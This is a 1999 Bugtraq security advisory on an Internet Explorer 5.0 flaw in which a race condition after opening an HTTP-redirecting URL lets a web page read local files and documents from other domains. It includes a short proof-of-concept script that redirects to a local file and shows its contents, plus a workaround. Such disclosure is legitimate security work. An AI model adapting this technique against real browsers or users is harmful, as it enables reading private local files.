From: Georgi Guninski [joro@NAT.BG]
Sent: Thursday, November 04, 1999 8:49 AM
To: BUGTRAQ@SECURITYFOCUS.COM
Subject: IE 5.0 vulnerabilities using HTTP redirection

Disclaimer:
The opinions expressed in this advisory and program are my own and not
of any company.
The usual standard disclaimer applies, especially the fact that Georgi
Guninski is not liable for any damages caused by direct or  indirect use
of the information or functionality provided by this program. Georgi
Guninski, bears NO responsibility for content or misuse of this program
or any derivatives thereof.

Description:

Internet Explorer 5.0 under Windows 95 and NT 4.0 (suppose Win98 is
vulnerable) allows reading local text and HTML files and files from any
domain (probably reading files of other types of files is possible).
Window spoofing is possible.
It is also possible in some cases to read files behind fiewall.
This vulnerability may be exploited using HTML email message or a
newsgroup posting.

Details:

The problem is something like a race condition immediately after
window.open("HTTP-redirecting-URL").
If you do:
a=window.open("HTTP-redirecting-url");
b=a.document;
then you have access to the redirected URL's document using "b".

The code is:
----------------------------------------------------------------------------------------
<SCRIPT>
alert("Create short text file c:\\test.txt and it will be read and shown
in a message box");
a=window.open("http://www.nat.bg/~joro/reject.cgi?test.txt");
b=a.document;
setTimeout("alert(b.body.innerText);",4000);
</SCRIPT>
// "http://www.nat.bg/~joro/reject.cgi?test.txt" just does a HTTP
redirect to: "file://c:/test.txt"
----------------------------------------------------------------------------------------

Workaround:
Disable Active Scripting

Demonstration is available at http://www.nat.bg/~joro/msredir1.html

Credit:
I would like to give credit to Shane Hird from Australia for helping me
discover this vulnerability.

Copyright 1999 Georgi Guninski

Regards,
Georgi Guninski
http://www.nat.bg/~joro